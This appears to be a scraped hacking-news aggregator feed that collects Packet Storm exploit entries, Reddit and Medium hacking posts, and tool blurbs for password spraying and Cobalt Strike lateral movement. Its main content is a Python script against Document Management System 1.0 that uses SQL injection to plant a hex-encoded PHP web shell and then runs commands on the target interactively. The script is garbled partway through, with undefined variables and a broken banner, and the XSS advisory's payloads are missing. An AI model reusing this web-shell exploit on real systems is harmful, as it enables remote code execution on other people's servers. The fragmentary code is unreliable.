Exploit Collector
DzzOffice 2.02.1 Cross Site Scripting

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Exploit Collector
Sipwise C5 NGCP CSC Cross Site Scripting

https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
Sipwise software platform suffers from multiple authenticated stored and reflected cross site scripting vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Versions affected include CE_m39.3.1 and below and NGCP www_admin version 3.6.7.

MD5 | e8a251a6a3bb2fbde253ad48c129475c

Download

Sipwise C5 NGCP CSC Multiple Stored/Reflected XSS Vulnerabilities
Vendor: Sipwise GmbH
Product web page: https://www.sipwise.com
Affected version:
NGCP www_admin version 3.6.7

Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)
is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide
rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,
conferencing etc.) that can be configured by end users in the self-care web interface.
For operators, it offers a web-based administrative panel that allows them to configure
subscribers, SIP peerings, billing profiles, and other entities. The administrative web
panel also shows the real-time statistics for the whole system. For tight integration
into existing infrastructures, Sipwise C5 provides a powerful REST API interface.

Desc: Sipwise software platform suffers from multiple authenticated stored and reflected
cross-site scripting vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in context of an
affected site.

Tested on: Apache/2.2.22 (Debian)
Apache/2.2.16 (Debian)
nginx
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5648
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5648.php

CVE ID: CVE-2021-31583
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31583
13.04.2021

--
Stored XSS (POST tsetname):
---------------------------
" />
Reflected XSS (GET filter):
---------------------------
Stored XSS (POST firstname, lastname, company):
-----------------------------------------------
Reflected XSS (GET lang):
-------------------------

Source:packetstormsecurity.com

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Exploit Collector
GetSimple CMS My SMTP Contact 1.1.1 CSRF/ XSS / Code Execution

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Exploit Collector
Sipwise C5 NGCP CSC Cross Site Request Forgery

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
The Sipwise application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Versions affected include CE_m39.3.1 and below and NGCP www_admin version 3.6.7.

MD5 | e7d898fb2b62a3d6bc51dbf8df132928

Download

Sipwise C5 NGCP CSC CSRF Click2Dial Exploit
Vendor: Sipwise GmbH
Product web page: https://www.sipwise.com
Affected version:
NGCP www_admin version 3.6.7

Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)
is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide
rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,
conferencing etc.) that can be configured by end users in the self-care web interface.
For operators, it offers a web-based administrative panel that allows them to configure
subscribers, SIP peerings, billing profiles, and other entities. The administrative web
panel also shows the real-time statistics for the whole system. For tight integration
into existing infrastructures, Sipwise C5 provides a powerful REST API interface.

Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: Apache/2.2.22 (Debian)
Apache/2.2.16 (Debian)
nginx
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5649
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5649.php

CVE ID: CVE-2021-31584
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31584
13.04.2021

--

Source:packetstormsecurity.com

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Exploit Collector
Document Management System 1.0 SQL Injection / Remote Code Execution

https://4.bp.blogspot.com/-AtnQ_7I3m3U/WWlvZV4J0qI/AAAAAAAAIOs/cujNKaH5r44v1_gHRqEIroH6JJl6WzjUACLcBGAs/s1600/h58.png
Document Management System version 1.0 remote SQL injection exploit that deploys a web shell.

MD5 | ce95bb6aee806602e2a432244244b16a

Download
# Exploit Title: Document Management System - SQL Injection to RCE (webshell)
# Date: 23/04/21
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/7652/document-management-system.html
# Version: 1.0
# Tested on: Windows 10 build 19041 + xampp 3.2.4

#!/usr/bin/python3
import requests
import sys
import urllib.parse
import time

URL=f"http://TARGET/doc_system/docsytems/" # Change URL
SAVEPATH="c:/xampp/htdocs/" #Change to webfolder root (ie: /var/www/html on unix)

HOSTNAME=urllib.parse.urlparse(f"{URL}").netloc
PHPPAYLOAD="3c3f7068702073797374656d28245f4745545b2763275d293b203f3e" #_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/
Created by: Richard Jones
Date: 23/04/2021
Type: Webshell (sql injection)
"""

def checkTarget():
r = s.get(f"{URL}//View/download.php")
if r.status_code == 200:
return True

def sendPayload():
r = s.get(f"{URL}//View/download.php?id={PAYLOAD}")
if not r.status_code == 200:
print("Error in URL!, Check the URL again.")
sys.exit()

def checkShell():
r = s.get(f"http://{HOSTNAME}/xythif42taA.php")
if r.status_code == 200:
return True
else:
return False

def runWebShell():
while True:
cmd=input(f"{R}" + "DMsShell: " + f"{RS}")
if cmd == "exit":
sys.exit()
r = s.get(f"http://{HOSTNAME}/xythif42taA.php?c={cmd}")
print(r.text.split("")[1])

print(f"{CY}" + banner() + f"{RS}")
print(f"{W}" + "[-] Checking Target" + f"{RS}")
if not checkTarget():
print(f"{R}"+"[!] Can't access download.php in target, check the URL" + f"{RS}")
sys.exit()
else:
print(f"{G}"+"[+] TARGET is alive!" + f"{RS}")
sendPayload()
if checkShell():
print(f"{G}"+"[+] SHELL Acitvating!" + f"{RS}")
time.sleep(1)
runWebShell()

if __name__ == "__main__":
main()

Source:packetstormsecurity.com

___________________________

@hacking_Attack

@Hacking_Video
___________________________

hacking: security in practice
Payload Generator

Is there any other payload generators apart from msfvenom, the fat rat & veil ?

submitted by /u/Amazing_Asparagus_45
[link] [comments]

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

hacking: security in practice
Monero-mining botnet targets orgs through recent MS Exchange vulnerabilities

https://external-preview.redd.it/-tbNsU0sWqdKq8gQucbLWiAf6ust4T2AcPsR2Pyq9tM.jpg?width=640&crop=smart&auto=webp&s=e00fef82ec37780f0a1af8fcafff24ef7c41918csubmitted by /u/fatrat957
[link] [comments]

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

hacking: security in practice
A foray into Linux kernel exploitation on Android

https://external-preview.redd.it/khh_fWaegY0okn-n1n_yme0eiSUE5IkMpXuSjnXgwGo.jpg?width=320&crop=smart&auto=webp&s=37ef3c67dad9de7f0dd1282e33d32c6645a6f0a1submitted by /u/ILoveWin32k
[link] [comments]

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Kali Linux Tutorials
ADFSBrute : A Script To Test Credentials Against Active Directory Federation Services

ADFSBrute is a script to test credentials against Active Directory Federation Services (ADFS), calculating the ADFS url of an organization and allowing password spraying or bruteforce attacks. The main idea is carrying out password spraying attacks with a random and high delay between each test and using a list of proxies or Tor to make […]

The post ADFSBrute : A Script To Test Credentials Against Active Directory Federation Services appeared first on Kali Linux Tutorials.

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Kali Linux Tutorials
MoveKit : Cobalt Strike Kit For Lateral Movement

Movekit is an extension of built in Cobalt Strike lateral movement by leveraging the execute_assembly function with the SharpMove and SharpRDP .NET assemblies. The aggressor script handles payload creation by reading the template files for a specific execution type. IMPORTANT: To use the script a user will only need to load the MoveKit.cna aggressor script […]

The post MoveKit : Cobalt Strike Kit For Lateral Movement appeared first on Kali Linux Tutorials.

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Hacking on Medium
Hacking: Exploiting ms08–067.

https://cdn-images-1.medium.com/max/1008/1*_xX2N4PZJyUaK26ViLBPcA.jpeg
ms08–067, or the 67th security bulletin Microsoft released in the year 2008, is an update patching a critical, popular, and frequently…

Continue reading on Medium »

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Hacking on Medium
Exploiting and Identifying Ssrf Vulnerablity Part-1

hey folks ! what’s up ? hope you are doing well since today am starting a series for exploiting ssrf i.e server side requested forgery…

Continue reading on Medium »

___________________________

@hacking_Attack

@Hacking_Video
___________________________